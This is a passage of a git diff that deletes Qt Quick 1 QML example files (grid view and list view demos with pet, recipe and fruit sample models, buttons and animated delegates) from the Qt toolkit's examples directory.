appModel - ListElement { name: "Music"; icon: "pics/AudioPlayer_48.png" } - ListElement { name: "Movies"; icon: "pics/VideoPlayer_48.png" } - ListElement { name: "Camera"; icon: "pics/Camera_48.png" } - ListElement { name: "Calendar"; icon: "pics/DateBook_48.png" } - ListElement { name: "Messaging"; icon: "pics/EMail_48.png" } - ListElement { name: "Todo List"; icon: "pics/TodoList_48.png" } - ListElement { name: "Contacts"; icon: "pics/AddressBook_48.png" } - } - - Component { - id: appDelegate - - Item { - width: 100; height: 100 - - Image { - id: myIcon - y: 20; anchors.horizontalCenter: parent.horizontalCenter - source: icon - } - Text { - anchors { top: myIcon.bottom; horizontalCenter: parent.horizontalCenter } - text: name - } - } - } - - Component { - id: appHighlight - Rectangle { width: 80; height: 80; color: "lightsteelblue" } - } - - GridView { - anchors.fill: parent - cellWidth: 100; cellHeight: 100 - highlight: appHighlight - focus: true - model: appModel - delegate: appDelegate - } -} diff --git a/examples/declarative/qtquick1/modelviews/gridview/gridview.qmlproject b/examples/declarative/qtquick1/modelviews/gridview/gridview.qmlproject deleted file mode 100644 index a506ffecbe..0000000000 --- a/examples/declarative/qtquick1/modelviews/gridview/gridview.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "gridview-example.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/modelviews/gridview/pics/AddressBook_48.png b/examples/declarative/qtquick1/modelviews/gridview/pics/AddressBook_48.png deleted file mode 100644 index 1ab7c8eec1..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/gridview/pics/AddressBook_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/gridview/pics/AudioPlayer_48.png b/examples/declarative/qtquick1/modelviews/gridview/pics/AudioPlayer_48.png deleted file mode 100644 index f4b8689f87..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/gridview/pics/AudioPlayer_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/gridview/pics/Camera_48.png b/examples/declarative/qtquick1/modelviews/gridview/pics/Camera_48.png deleted file mode 100644 index c76b524945..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/gridview/pics/Camera_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/gridview/pics/DateBook_48.png b/examples/declarative/qtquick1/modelviews/gridview/pics/DateBook_48.png deleted file mode 100644 index 58f5787fb8..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/gridview/pics/DateBook_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/gridview/pics/EMail_48.png b/examples/declarative/qtquick1/modelviews/gridview/pics/EMail_48.png deleted file mode 100644 index d6d84a61be..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/gridview/pics/EMail_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/gridview/pics/TodoList_48.png b/examples/declarative/qtquick1/modelviews/gridview/pics/TodoList_48.png deleted file mode 100644 index 0988448d9b..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/gridview/pics/TodoList_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/gridview/pics/VideoPlayer_48.png b/examples/declarative/qtquick1/modelviews/gridview/pics/VideoPlayer_48.png deleted file mode 100644 index 52638c50a7..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/gridview/pics/VideoPlayer_48.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/PetsModel.qml b/examples/declarative/qtquick1/modelviews/listview/content/PetsModel.qml deleted file mode 100644 index 139a67b8e8..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/content/PetsModel.qml +++ /dev/null @@ -1,98 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -ListModel { - ListElement { - name: "Polly" - type: "Parrot" - age: 12 - size: "Small" - } - ListElement { - name: "Penny" - type: "Turtle" - age: 4 - size: "Small" - } - ListElement { - name: "Warren" - type: "Rabbit" - age: 2 - size: "Small" - } - ListElement { - name: "Spot" - type: "Dog" - age: 9 - size: "Medium" - } - ListElement { - name: "Schrödinger" - type: "Cat" - age: 2 - size: "Medium" - } - ListElement { - name: "Joey" - type: "Kangaroo" - age: 1 - size: "Medium" - } - ListElement { - name: "Kimba" - type: "Bunny" - age: 65 - size: "Large" - } - ListElement { - name: "Rover" - type: "Dog" - age: 5 - size: "Large" - } - ListElement { - name: "Tiny" - type: "Elephant" - age: 15 - size: "Large" - } -} diff --git a/examples/declarative/qtquick1/modelviews/listview/content/PressAndHoldButton.qml b/examples/declarative/qtquick1/modelviews/listview/content/PressAndHoldButton.qml deleted file mode 100644 index c6b1ecef61..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/content/PressAndHoldButton.qml +++ /dev/null @@ -1,82 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Image { - id: container - - property int repeatDelay: 300 - property int repeatDuration: 75 - property bool pressed: false - - signal clicked - - scale: pressed ? 0.9 : 1 - - function release() { - autoRepeatClicks.stop() - container.pressed = false - } - - SequentialAnimation on pressed { - id: autoRepeatClicks - running: false - - PropertyAction { target: container; property: "pressed"; value: true } - ScriptAction { script: container.clicked() } - PauseAnimation { duration: repeatDelay } - - SequentialAnimation { - loops: Animation.Infinite - ScriptAction { script: container.clicked() } - PauseAnimation { duration: repeatDuration } - } - } - - MouseArea { - anchors.fill: parent - - onPressed: autoRepeatClicks.start() - onReleased: container.release() - onCanceled: container.release() - } -} - diff --git a/examples/declarative/qtquick1/modelviews/listview/content/RecipesModel.qml b/examples/declarative/qtquick1/modelviews/listview/content/RecipesModel.qml deleted file mode 100644 index 79a0f67466..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/content/RecipesModel.qml +++ /dev/null @@ -1,129 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -ListModel { - ListElement { - title: "Pancakes" - picture: "content/pics/pancakes.jpg" - ingredients: " -
    -
  • 1 cup (150g) self-raising flour -
  • 1 tbs caster sugar -
  • 3/4 cup (185ml) milk -
  • 1 egg -
- " - method: " -
    -
  1. Sift flour and sugar together into a bowl. Add a pinch of salt. -
  2. Beat milk and egg together, then add to dry ingredients. Beat until smooth. -
  3. Pour mixture into a pan on medium heat and cook until bubbles appear on the surface. -
  4. Turn over and cook other side until golden. -
- " - } - ListElement { - title: "Fruit Salad" - picture: "content/pics/fruit-salad.jpg" - ingredients: "* Seasonal Fruit" - method: "* Chop fruit and place in a bowl." - } - ListElement { - title: "Vegetable Soup" - picture: "content/pics/vegetable-soup.jpg" - ingredients: " -
    -
  • 1 onion -
  • 1 turnip -
  • 1 potato -
  • 1 carrot -
  • 1 head of celery -
  • 1 1/2 litres of water -
- " - method: " -
    -
  1. Chop vegetables. -
  2. Boil in water until vegetables soften. -
  3. Season with salt and pepper to taste. -
- " - } - ListElement { - title: "Hamburger" - picture: "content/pics/hamburger.jpg" - ingredients: " -
    -
  • 500g minced beef -
  • Seasoning -
  • lettuce, tomato, onion, cheese -
  • 1 hamburger bun for each burger -
- " - method: " -
    -
  1. Mix the beef, together with seasoning, in a food processor. -
  2. Shape the beef into burgers. -
  3. Grill the burgers for about 5 mins on each side (until cooked through) -
  4. Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion. -
- " - } - ListElement { - title: "Lemonade" - picture: "content/pics/lemonade.jpg" - ingredients: " -
    -
  • 1 cup Lemon Juice -
  • 1 cup Sugar -
  • 6 Cups of Water (2 cups warm water, 4 cups cold water) -
- " - method: " -
    -
  1. Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves. -
  2. Pour in lemon juice, stir again, and add 4 cups of cold water. -
  3. Chill or serve over ice cubes. -
- " - } -} diff --git a/examples/declarative/qtquick1/modelviews/listview/content/TextButton.qml b/examples/declarative/qtquick1/modelviews/listview/content/TextButton.qml deleted file mode 100644 index 4e58067589..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/content/TextButton.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: container - - property alias text: label.text - - signal clicked - - width: label.width + 20; height: label.height + 6 - smooth: true - radius: 10 - - gradient: Gradient { - GradientStop { id: gradientStop; position: 0.0; color: palette.light } - GradientStop { position: 1.0; color: palette.button } - } - - SystemPalette { id: palette } - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: { container.clicked() } - } - - Text { - id: label - anchors.centerIn: parent - } - - states: State { - name: "pressed" - when: mouseArea.pressed - PropertyChanges { target: gradientStop; color: palette.dark } - } -} - diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/arrow-down.png b/examples/declarative/qtquick1/modelviews/listview/content/pics/arrow-down.png deleted file mode 100644 index 29d1d4439a..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/arrow-down.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/arrow-up.png b/examples/declarative/qtquick1/modelviews/listview/content/pics/arrow-up.png deleted file mode 100644 index e437312217..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/arrow-up.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/fruit-salad.jpg b/examples/declarative/qtquick1/modelviews/listview/content/pics/fruit-salad.jpg deleted file mode 100644 index da5a6b10a2..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/fruit-salad.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/hamburger.jpg b/examples/declarative/qtquick1/modelviews/listview/content/pics/hamburger.jpg deleted file mode 100644 index d0a15be1bf..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/hamburger.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/lemonade.jpg b/examples/declarative/qtquick1/modelviews/listview/content/pics/lemonade.jpg deleted file mode 100644 index db445c9ac8..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/lemonade.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/list-delete.png b/examples/declarative/qtquick1/modelviews/listview/content/pics/list-delete.png deleted file mode 100644 index df2a147d24..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/list-delete.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/minus-sign.png b/examples/declarative/qtquick1/modelviews/listview/content/pics/minus-sign.png deleted file mode 100644 index d6f233d739..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/minus-sign.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/moreDown.png b/examples/declarative/qtquick1/modelviews/listview/content/pics/moreDown.png deleted file mode 100644 index 31a35d5c20..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/moreDown.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/moreUp.png b/examples/declarative/qtquick1/modelviews/listview/content/pics/moreUp.png deleted file mode 100644 index fefb9c9098..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/moreUp.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/pancakes.jpg b/examples/declarative/qtquick1/modelviews/listview/content/pics/pancakes.jpg deleted file mode 100644 index 60c439638e..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/pancakes.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/plus-sign.png b/examples/declarative/qtquick1/modelviews/listview/content/pics/plus-sign.png deleted file mode 100644 index 40df1134f8..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/plus-sign.png and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/content/pics/vegetable-soup.jpg b/examples/declarative/qtquick1/modelviews/listview/content/pics/vegetable-soup.jpg deleted file mode 100644 index 9dce332041..0000000000 Binary files a/examples/declarative/qtquick1/modelviews/listview/content/pics/vegetable-soup.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/modelviews/listview/dynamiclist.qml b/examples/declarative/qtquick1/modelviews/listview/dynamiclist.qml deleted file mode 100644 index 91d9a228df..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/dynamiclist.qml +++ /dev/null @@ -1,203 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 -import "content" - -// This example shows how items can be dynamically added to and removed from -// a ListModel, and how these list modifications can be animated. - -Rectangle { - id: container - width: 500; height: 400 - color: "#343434" - - // The model: - ListModel { - id: fruitModel - - ListElement { - name: "Apple"; cost: 2.45 - attributes: [ - ListElement { description: "Core" }, - ListElement { description: "Deciduous" } - ] - } - ListElement { - name: "Banana"; cost: 1.95 - attributes: [ - ListElement { description: "Tropical" }, - ListElement { description: "Seedless" } - ] - } - ListElement { - name: "Cumquat"; cost: 3.25 - attributes: [ - ListElement { description: "Citrus" } - ] - } - ListElement { - name: "Durian"; cost: 9.95 - attributes: [ - ListElement { description: "Tropical" }, - ListElement { description: "Smelly" } - ] - } - } - - // The delegate for each fruit in the model: - Component { - id: listDelegate - - Item { - id: delegateItem - width: listView.width; height: 55 - clip: true - - Row { - anchors.verticalCenter: parent.verticalCenter - spacing: 10 - - Column { - Image { - source: "content/pics/arrow-up.png" - MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index-1, 1) } - } - Image { source: "content/pics/arrow-down.png" - MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index+1, 1) } - } - } - - Column { - anchors.verticalCenter: parent.verticalCenter - - Text { - text: name - font.pixelSize: 15 - color: "white" - } - Row { - spacing: 5 - Repeater { - model: attributes - Text { text: description; color: "White" } - } - } - } - } - - Row { - anchors.verticalCenter: parent.verticalCenter - anchors.right: parent.right - spacing: 10 - - PressAndHoldButton { - anchors.verticalCenter: parent.verticalCenter - source: "content/pics/plus-sign.png" - onClicked: fruitModel.setProperty(index, "cost", cost + 0.25) - } - - Text { - id: costText - anchors.verticalCenter: parent.verticalCenter - text: '$' + Number(cost).toFixed(2) - font.pixelSize: 15 - color: "white" - font.bold: true - } - - PressAndHoldButton { - anchors.verticalCenter: parent.verticalCenter - source: "content/pics/minus-sign.png" - onClicked: fruitModel.setProperty(index, "cost", Math.max(0,cost-0.25)) - } - - Image { - source: "content/pics/list-delete.png" - MouseArea { anchors.fill:parent; onClicked: fruitModel.remove(index) } - } - } - - // Animate adding and removing of items: - - ListView.onAdd: SequentialAnimation { - PropertyAction { target: delegateItem; property: "height"; value: 0 } - NumberAnimation { target: delegateItem; property: "height"; to: 55; duration: 250; easing.type: Easing.InOutQuad } - } - - ListView.onRemove: SequentialAnimation { - PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: true } - //NumberAnimation { target: delegateItem; property: "height"; to: 0; duration: 250; easing.type: Easing.InOutQuad } - - // Make sure delayRemove is set back to false so that the item can be destroyed - PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: false } - } - } - } - - // The view: - ListView { - id: listView - anchors.fill: parent; anchors.margins: 20 - model: fruitModel - delegate: listDelegate - } - - Row { - anchors { left: parent.left; bottom: parent.bottom; margins: 20 } - spacing: 10 - - TextButton { - text: "Add an item" - onClicked: { - fruitModel.append({ - "name": "Pizza Margarita", - "cost": 5.95, - "attributes": [{"description": "Cheese"}, {"description": "Tomato"}] - }) - } - } - - TextButton { - text: "Remove all items" - onClicked: fruitModel.clear() - } - } -} - diff --git a/examples/declarative/qtquick1/modelviews/listview/expandingdelegates.qml b/examples/declarative/qtquick1/modelviews/listview/expandingdelegates.qml deleted file mode 100644 index 186734ba05..0000000000 --- a/examples/declarative/qtquick1/modelviews/listview/expandingdelegates.qml +++ /dev/null @@ -1,202 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -// This example illustrates expanding a list item to show a more detailed view. - -Rectangle { - id: page - width: 400; height: 240 - color: "black" - - // Delegate for the recipes. This delegate has two modes: - // 1. List mode (default), which just shows the picture and title of the recipe. - // 2. Details mode, which also shows the ingredients and method. - Component { - id: recipeDelegate - - Item { - id: recipe - - // Create a property to contain the visibility of the details. - // We can bind multiple element's opacity to this one property, - // rather than having a "PropertyChanges" line for each element we - // want to fade. - property real detailsOpacity : 0 - - width: listView.width - height: 70 - - // A simple rounded rectangle for the background - Rectangle { - id: background - x: 2; y: 2; width: parent.width - x*2; height: parent.height - y*2 - color: "ivory" - border.color: "orange" - radius: 5 - } - - // This mouse region covers the entire delegate. - // When clicked it changes mode to 'Details'. If we are already - // in Details mode, then no change will happen. - MouseArea { - anchors.fill: parent - onClicked: recipe.state = 'Details'; - } - - // Lay out the page: picture, title and ingredients at the top, and method at the - // bottom. Note that elements that should not be visible in the list - // mode have their opacity set to recipe.detailsOpacity. - Row { - id: topLayout - x: 10; y: 10; height: recipeImage.height; width: parent.width - spacing: 10 - - Image { - id: recipeImage - width: 50; height: 50 - source: picture - } - - Column { - width: background.width - recipeImage.width - 20; height: recipeImage.height - spacing: 5 - - Text { - text: title - font.bold: true; font.pointSize: 16 - } - - Text { - text: "Ingredients" - font.pointSize: 12; font.bold: true - opacity: recipe.detailsOpacity - } - - Text { - text: ingredients - wrapMode: Text.WordWrap - width: parent.width - opacity: recipe.detailsOpacity - } - } - } - - Item { - id: details - x: 10; width: parent.width - 20 - anchors { top: topLayout.bottom; topMargin: 10; bottom: parent.bottom; bottomMargin: 10 } - opacity: recipe.detailsOpacity - - Text { - id: methodTitle - anchors.top: parent.top - text: "Method" - font.pointSize: 12; font.bold: true - } - - Flickable { - id: flick - width: parent.width - anchors { top: methodTitle.bottom; bottom: parent.bottom } - contentHeight: methodText.height - clip: true - - Text { id: methodText; text: method; wrapMode: Text.WordWrap; width: details.width } - } - - Image { - anchors { right: flick.right; top: flick.top } - source: "content/pics/moreUp.png" - opacity: flick.atYBeginning ? 0 : 1 - } - - Image { - anchors { right: flick.right; bottom: flick.bottom } - source: "content/pics/moreDown.png" - opacity: flick.atYEnd ? 0 : 1 - } - } - - // A button to close the detailed view, i.e. set the state back to default (''). - TextButton { - y: 10 - anchors { right: background.right; rightMargin: 10 } - opacity: recipe.detailsOpacity - text: "Close" - - onClicked: recipe.state = ''; - } - - states: State { - name: "Details" - - PropertyChanges { target: background; color: "white" } - PropertyChanges { target: recipeImage; width: 130; height: 130 } // Make picture bigger - PropertyChanges { target: recipe; detailsOpacity: 1; x: 0 } // Make details visible - PropertyChanges { target: recipe; height: listView.height } // Fill the entire list area with the detailed view - - // Move the list so that this item is at the top. - PropertyChanges { target: recipe.ListView.view; explicit: true; contentY: recipe.y } - - // Disallow flicking while we're in detailed view - PropertyChanges { target: recipe.ListView.view; interactive: false } - } - - transitions: Transition { - // Make the state changes smooth 